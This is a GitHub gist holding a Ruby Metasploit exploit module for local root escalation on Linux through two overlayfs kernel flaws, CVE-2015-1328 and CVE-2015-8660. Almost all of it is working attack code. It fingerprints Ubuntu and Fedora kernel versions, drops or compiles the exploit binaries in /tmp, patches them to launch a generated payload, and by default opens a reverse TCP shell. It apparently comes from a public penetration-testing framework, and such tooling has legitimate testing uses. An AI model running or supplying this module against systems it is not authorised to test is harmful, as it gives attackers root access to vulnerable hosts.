Created
January 14, 2026 11:43
-
-
Save spynika/71f872b75b46c82260a8c483baf6b8a3 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## | |
| # This module requires Metasploit: http://metasploit.com/download | |
| # Current source: https://github.com/rapid7/metasploit-framework | |
| ## | |
| require "msf/core" | |
| class MetasploitModule < Msf::Exploit::Local | |
| Rank = GoodRanking | |
| include Msf::Post::File | |
| include Msf::Exploit::EXE | |
| include Msf::Exploit::FileDropper | |
| def initialize(info = {}) | |
| super(update_info(info, | |
| 'Name' => 'Overlayfs Privilege Escalation', | |
| 'Description' => %q{ | |
| This module attempts to exploit two different CVEs related to overlayfs. | |
| CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55 | |
| 3.16.0-25 (14.10 default) < 3.16.0-41 | |
| 3.19.0-18 (15.04 default) < 3.19.0-21 | |
| CVE-2015-8660: | |
| Ubuntu: | |
| 3.19.0-18 < 3.19.0-43 | |
| 4.2.0-18 < 4.2.0-23 (14.04.1, 15.10) | |
| Fedora: | |
| < 4.2.8 (vulnerable, un-tested) | |
| Red Hat: | |
| < 3.10.0-327 (rhel 6, vulnerable, un-tested) | |
| }, | |
| 'License' => MSF_LICENSE, | |
| 'Author' => | |
| [ | |
| 'h00die <[email protected]>', # Module | |
| 'rebel' # Discovery | |
| ], | |
| 'DisclosureDate' => 'Jun 16 2015', | |
| 'Platform' => [ 'linux'], | |
| 'Arch' => [ ARCH_X86, ARCH_X86_64 ], | |
| 'SessionTypes' => [ 'shell', 'meterpreter' ], | |
| 'Targets' => | |
| [ | |
| [ 'CVE-2015-1328', { } ], | |
| [ 'CVE-2015-8660', { } ] | |
| ], | |
| 'DefaultTarget' => 1, | |
| 'DefaultOptions' => | |
| { | |
| 'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su | |
| }, | |
| 'References' => | |
| [ | |
| [ 'EDB', '39166'], # CVE-2015-8660 | |
| [ 'EDB', '37292'], # CVE-2015-1328 | |
| [ 'CVE', '2015-1328'], | |
| [ 'CVE', '2015-8660'] | |
| ] | |
| )) | |
| register_options( | |
| [ | |
| OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), | |
| OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) | |
| ], self.class) | |
| end | |
| def check | |
| def mounts_exist?() | |
| vprint_status('Checking if mount points exist') | |
| if target.name == 'CVE-2015-1328' | |
| if not directory?('/tmp/ns_sploit') | |
| vprint_good('/tmp/ns_sploit not created') | |
| return true | |
| else | |
| print_error('/tmp/ns_sploit directory exists. Please delete.') | |
| return false | |
| end | |
| elsif target.name == 'CVE-2015-8660' | |
| if not directory?('/tmp/haxhax') | |
| vprint_good('/tmp/haxhax not created') | |
| return true | |
| else | |
| print_error('/tmp/haxhax directory exists. Please delete.') | |
| return false | |
| end | |
| end | |
| end | |
| def kernel_vuln?() | |
| os_id = cmd_exec('grep ^ID= /etc/os-release') | |
| case os_id | |
| when 'ID=ubuntu' | |
| kernel = Gem::Version.new(cmd_exec('/bin/uname -r')) | |
| case kernel.release.to_s | |
| when '3.13.0' | |
| if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic')) | |
| vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") | |
| return true | |
| else | |
| print_error("Kernel #{kernel} is NOT vulnerable") | |
| return false | |
| end | |
| when '3.16.0' | |
| if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic')) | |
| vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") | |
| return true | |
| else | |
| print_error("Kernel #{kernel} is NOT vulnerable") | |
| return false | |
| end | |
| when '3.19.0' | |
| if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic')) | |
| vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") | |
| return true | |
| elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic')) | |
| vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") | |
| return true | |
| else | |
| print_error("Kernel #{kernel} is NOT vulnerable") | |
| return false | |
| end | |
| when '4.2.0' | |
| if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic')) | |
| vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") | |
| return true | |
| else | |
| print_error("Kernel #{kernel} is NOT vulnerable") | |
| return false | |
| end | |
| else | |
| print_error("Non-vuln kernel #{kernel}") | |
| return false | |
| end | |
| when 'ID=fedora' | |
| kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc | |
| # irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '') | |
| # => "4.0.4-301" | |
| if kernel.release < Gem::Version.new('4.2.8') | |
| vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED") | |
| return true | |
| else | |
| print_error("Non-vuln kernel #{kernel}") | |
| return false | |
| end | |
| else | |
| print_error("Unknown OS: #{os_id}") | |
| return false | |
| end | |
| end | |
| if mounts_exist?() && kernel_vuln?() | |
| return CheckCode::Appears | |
| else | |
| return CheckCode::Safe | |
| end | |
| end | |
| def exploit | |
| if check != CheckCode::Appears | |
| fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') | |
| end | |
| filename = rand_text_alphanumeric(8) | |
| executable_path = "#{datastore['WritableDir']}/#{filename}" | |
| payloadname = rand_text_alphanumeric(8) | |
| payload_path = "#{datastore['WritableDir']}/#{payloadname}" | |
| def has_prereqs?() | |
| gcc = cmd_exec('which gcc') | |
| if gcc.include?('gcc') | |
| vprint_good('gcc is installed') | |
| else | |
| print_error('gcc is not installed. Compiling will fail.') | |
| end | |
| return gcc.include?('gcc') | |
| end | |
| compile = false | |
| if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' | |
| if has_prereqs?() | |
| compile = true | |
| vprint_status('Live compiling exploit on system') | |
| else | |
| vprint_status('Dropping pre-compiled exploit on system') | |
| end | |
| end | |
| if check != CheckCode::Appears | |
| fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') | |
| end | |
| def upload_and_chmod(fname, fcontent, cleanup=true) | |
| print_status "Writing to #{fname} (#{fcontent.size} bytes)" | |
| rm_f fname | |
| write_file(fname, fcontent) | |
| cmd_exec("chmod +x #{fname}") | |
| if cleanup | |
| register_file_for_cleanup(fname) | |
| end | |
| end | |
| def on_new_session(session) | |
| super | |
| if target.name == 'CVE-2015-1328' | |
| session.shell_command("/bin/su") #this doesnt work on meterpreter????? | |
| # we cleanup here instead of earlier since we needed the /bin/su in our new session | |
| session.shell_command('rm -f /etc/ld.so.preload') | |
| session.shell_command('rm -f /tmp/ofs-lib.so') | |
| end | |
| end | |
| if compile | |
| begin | |
| if target.name == 'CVE-2015-1328' | |
| # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size | |
| # Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary. | |
| path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c') | |
| fd = ::File.open( path, "rb") | |
| cve_2015_1328 = fd.read(fd.stat.size) | |
| fd.close | |
| # pulled out from 1328.c's LIB define | |
| path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c') | |
| fd = ::File.open( path, "rb") | |
| ofs_lib = fd.read(fd.stat.size) | |
| fd.close | |
| else | |
| # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size | |
| path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c') | |
| fd = ::File.open( path, "rb") | |
| cve_2015_8660 = fd.read(fd.stat.size) | |
| fd.close | |
| end | |
| rescue | |
| compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries | |
| end | |
| end | |
| if compile | |
| if target.name == 'CVE-2015-1328' | |
| cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/, | |
| "execl(\"#{payload_path}\",\"#{payloadname}\",NULL);") | |
| upload_and_chmod("#{executable_path}.c", cve_2015_1328) | |
| ofs_path = "#{datastore['WritableDir']}/ofs-lib" | |
| upload_and_chmod("#{ofs_path}.c", ofs_lib) | |
| cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file | |
| register_file_for_cleanup("#{ofs_path}.c") | |
| else | |
| cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/, | |
| "os.execl('#{payload_path}','#{payloadname}')") | |
| upload_and_chmod("#{executable_path}.c", cve_2015_8660) | |
| end | |
| vprint_status("Compiling #{executable_path}.c") | |
| cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile | |
| register_file_for_cleanup(executable_path) | |
| else | |
| if target.name == 'CVE-2015-1328' | |
| path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328') | |
| fd = ::File.open( path, "rb") | |
| cve_2015_1328 = fd.read(fd.stat.size) | |
| fd.close | |
| upload_and_chmod(executable_path, cve_2015_1328) | |
| path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so') | |
| fd = ::File.open( path, "rb") | |
| ofs_lib = fd.read(fd.stat.size) | |
| fd.close | |
| ofs_path = "#{datastore['WritableDir']}/ofs-lib" | |
| # dont auto cleanup or else it happens too quickly and we never escalate ourprivs | |
| upload_and_chmod("#{ofs_path}.so", ofs_lib, false) | |
| # overwrite with the hardcoded variable names in the compiled versions | |
| payload_filename = 'lXqzVpYN' | |
| payload_path = '/tmp/lXqzVpYN' | |
| else | |
| path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660') | |
| fd = ::File.open( path, "rb") | |
| cve_2015_8660 = fd.read(fd.stat.size) | |
| fd.close | |
| upload_and_chmod(executable_path, cve_2015_8660) | |
| # overwrite with the hardcoded variable names in the compiled versions | |
| payload_filename = '1H0qLaq2' | |
| payload_path = '/tmp/1H0qLaq2' | |
| end | |
| end | |
| upload_and_chmod(payload_path, generate_payload_exe) | |
| vprint_status('Exploiting...') | |
| output = cmd_exec(executable_path) | |
| output.each_line { |line| vprint_status(line.chomp) } | |
| end | |
| end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment